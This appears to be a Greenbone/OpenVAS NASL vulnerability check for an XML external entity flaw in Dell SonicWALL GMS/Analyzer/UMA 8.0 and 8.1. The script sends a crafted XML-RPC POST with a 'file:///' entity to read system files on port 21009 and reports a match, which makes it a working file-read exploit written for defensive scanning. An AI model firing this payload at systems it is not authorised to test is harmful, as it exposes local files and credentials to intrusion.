Dell SonicWALL GMS/Analyzer/UMA 8.0, 8.1 XXE Vulnerability - Active Check
🗓️ 16 Aug 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType
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# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105873");
script_version("2025-09-12T05:38:45+0000");
script_tag(name:"last_modification", value:"2025-09-12 05:38:45 +0000 (Fri, 12 Sep 2025)");
script_tag(name:"creation_date", value:"2016-08-16 14:22:12 +0200 (Tue, 16 Aug 2016)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Dell SonicWALL GMS/Analyzer/UMA 8.0, 8.1 XXE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_sonicwall_ums_gms_analyzer_http_detect.nasl", "os_detection.nasl");
script_require_ports(21009);
script_mandatory_keys("sonicwall/ums/detected");
script_tag(name:"summary", value:"Dell SonicWALL GMS/Analyzer/UMA is prone to an XML external
entity (XXE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted XML-RPC POST request and checks the
response.");
script_tag(name:"insight", value:"Vulnerabilities were found pertaining to command injection,
unauthorized XXE, default account and unauthorized modification of virtual appliance networking
information.");
script_tag(name:"affected", value:"Dell SonicWALL GMS/Analyzer/UMA versions 8.0 and 8.1.");
script_tag(name:"solution", value:"GMS/Analyzer/UMA Hotfix 174525 is available.");
script_xref(name:"URL", value:"https://www.sonicwall.com/support/product-notification/sonicwall-critical-product-notification-gms-and-analyzer-mandatory-hotfix/170608411295618");
script_xref(name:"URL", value:"https://www.sonicwall.com/support/product-notification/sonicwall-service-bulletin-gms-analyzer-vulnerability-fix-july-2016/170608775672509");
script_xref(name:"URL", value:"https://web.archive.org/web/20170320214504/https://www.digitaldefense.com/vrt-discoveries/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
port = 21009;
if( ! get_port_state( port ) )
exit( 0 );
vtstrings = get_vt_strings();
vtstring = vtstrings["default"];
vtstring_lower = vtstrings["lowercase"];
files = traversal_files();
foreach pattern( keys( files ) ) {
file = files[pattern];
xml_rpc = '<?xml version="1.0" encoding="UTF-8"?>' +
'<!DOCTYPE ' + vtstring + ' [<!ELEMENT ' + vtstring + ' ANY >' +
'<!ENTITY ' + vtstring_lower + ' SYSTEM "file:///' + file + '">]>' +
'<methodCall><methodName>' + vtstring + '</methodName>' +
'<params><param><value><struct><member><name>' + vtstring + '</name>' +
'<value><i4>&' + vtstring_lower + ';</i4></value><params><param></methodCall>';
req = http_post_put_req( port:port,
url:"/",
data:xml_rpc,
add_headers:make_array( "Content-Type","text/xml" ) );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( egrep( string:buf, pattern:pattern, icase:TRUE ) ) {
report = 'By sending a special crafted POST request it was possible to read /' + file +
'. Response:\n\n' + buf;
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
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